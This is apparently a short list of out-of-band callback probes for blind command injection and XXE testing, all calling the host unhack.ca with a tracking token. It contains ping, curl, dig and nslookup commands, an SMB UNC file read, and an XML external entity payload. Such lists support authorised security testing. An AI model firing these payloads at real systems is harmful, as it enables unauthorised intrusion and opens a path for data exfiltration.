$ ping -c1 -p 002703e6cc14032903fb74461b429c00 unhack.ca
 

$ curl http://unhack.ca/p/2703e6cc14032903fb74461b429c
 

$ dig 2703e6cc14032903fb74461b429c @unhack.ca
 

$ dig 2703e6cc14032903fb74461b429c.ns.unhack.ca
 

C:\> nslookup 2703e6cc14032903fb74461b429c unhack.ca
 

C:\> type \\unhack.ca\2703e6cc14032903fb74461b429c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2703e6cc14032903fb74461b429c">]>
    <foo>&xxe;</foo>